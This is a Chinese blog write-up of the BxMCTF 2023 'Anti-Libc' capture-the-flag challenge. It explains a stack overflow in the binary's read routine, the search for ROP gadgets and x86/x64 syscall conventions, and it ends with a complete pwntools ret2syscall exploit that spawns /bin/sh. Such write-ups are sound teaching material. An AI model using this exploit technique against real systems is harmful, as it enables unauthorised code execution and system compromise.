• CTF-栈溢出-基本ROP-【ret2syscall】


    ret2syscall

    即控制程序执行系统调用,获取 shell。

    BxMCTF 2023 Anti-Libc

    main

    在这里插入图片描述

    write_buf

    写入字符的,待会输出
    在这里插入图片描述

    flush_obuf

    把字符输出到屏幕
    在这里插入图片描述

    readint

    输入要接下来要输入的数的长度,正负号会相应的判断和跳转
    在这里插入图片描述

    read_buf

    如果发现start和end相同时,重写输入,否则返回输入的数据所在数组的一个start位置所在的字节
    这里的sys_read存在很明显的溢出
    在这里插入图片描述

    思路

    不是我说,这坨shit真的绕(我太菜了)
    shit之处在于汇编的源码最后的那个循环中有个inc r10,然后IDA没有,直接原地继续赋值EMMMMMMMM
    在这里插入图片描述
    在这里插入图片描述
    发现这个bug后题目就轻松很多了

    查看文件静态链接
    在这里插入图片描述
    查看保护(不符合老外的出题特色了都)
    在这里插入图片描述
    肯定溢出构造ROP链嘛,然后系统调用嘛

    32位和64位的syscall原理都是一样
    只有传参和调用存在差异,以下一起说,做个对比
    32位系统调用使用 " int 80h "
    64位系统调用使用 " syscall " (汇编代码就是syscall 直接ROPgadget–only查找即可)
    32的系统调用号与64位的不大一样 使用的时候最好百度一下
    比如
    32位 #define __NR_execve 11
    64位 #define __NR_execve 59
    32位的系统调用号放在eax 传参依次是 EBX、ECX、EDX、ESI、EDI、EBP
    64位的系统调用号放在rax 传参依次是 RDI、RSI、RDX、R10、R8、R9 (和64位函数传参一样)

    首先找rdi嘛
    在这里插入图片描述
    0x0000000000401135入选
    看看 jmp 0x401106
    在这里插入图片描述
    有ret但是esi的值会减1,rdi的值会加1
    emmm但会构造一下应该就好了
    rax试试
    在这里插入图片描述
    寄了
    eax试试
    在这里插入图片描述
    寄了
    ax
    在这里插入图片描述
    寄了
    al
    在这里插入图片描述
    也寄了
    只能反汇编了找了

    在这里插入图片描述
    找到了
    在这里插入图片描述
    看看对应位置的汇编代码
    在这里插入图片描述
    发现需要构造%ebx寄存器
    正好下面有一个
    在这里插入图片描述
    美哉 美哉
    那最后咋调用系统调用呢?
    发现这里有个move %rbp %rsp,那么如果之前存储的rbp合适的话,那么可以继续ROP,rbp应该为在syscall调用前的前十六个字节,因为还要有pop rbp和pop rbx得抵消掉

    exp

    很shit的一点是。。。忘记两次sendline如果时间过短会被程序当作一次性接受了

    from pwn import *
    #context(os="linux",arch="amd64",log_level="debug")
    e = ELF("./main")
    p = process("./main")
    #p = gdb.attach(p, "b*main")
    offset = 64  
    input_buf = 0x402020
    onemore = b"\x00"
    BIN_SH = b"/bin/sh\x00"
    EVIL = onemore + BIN_SH 
    DUMMY_RBP = p64(1)  #随便填
    DUMMY_RBX = p64(1)  #随便填
    SYSCALL = p64(0x401055)
    EVIL_ADDRESS = input_buf +len(DUMMY_RBP + DUMMY_RBX + SYSCALL)#作为rdi
    POP_RSI_RDI = p64(0x401135)  # pop rsi ; pop rdi ; jmp 0x401106
    POP_RBX = p64(0x40109C)
    MOV_EBX_EAX = p64(
        0x40108D
    )  # mov %ebx,%eax ; neg %ebx; cmpb $0x1,(%rsp); cmove %ebx,%eax ; mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret
    RSI = p64(1)
    RDI = p64(EVIL_ADDRESS)
    RBX = p64(0x3B)  # it'll go into RAX which is needed for correct syscall
    RBP = p64(input_buf)  # 最后的MOV_EBX_EAX这个地方最后有mov %rbp,%rsp ; pop %rbp ; pop %rbx; ret从而可以执行系统调用
    
    
    payload = DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL
    padding = b"A" * (offset - len(DUMMY_RBP + DUMMY_RBX + SYSCALL + EVIL))
    payload += padding + RBP + POP_RSI_RDI + RSI + RDI
    payload += POP_RBX + RBX + MOV_EBX_EAX
    print(len(payload))
    print(p.recvuntil("input? "))
    p.sendline(str(len(payload)))
    sleep(3)   # 防止间隔时间太多被当作一次性发过去了
    p.sendline(payload)
    p.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
  • 相关阅读:
    搭建一个Vue3+Ts+Vite项目
    DirectX 3D C++ 圆柱体的渲染(源代码)
    好用的vscode vue3插件
    洛谷P4127 [AHOI2009]同类分布 题解
    day17 哈希表
    以后面试官问你 为啥不建议使用Select *,请你大声回答他!
    论文阅读 - TwiBot-22: Towards Graph-Based Twitter Bot Detection
    java传base64返回给数据报404踩坑
    题目0113-选座位
    uniapp实现防抖搜索
  • 原文地址:https://blog.csdn.net/llovewuzhengzi/article/details/134494797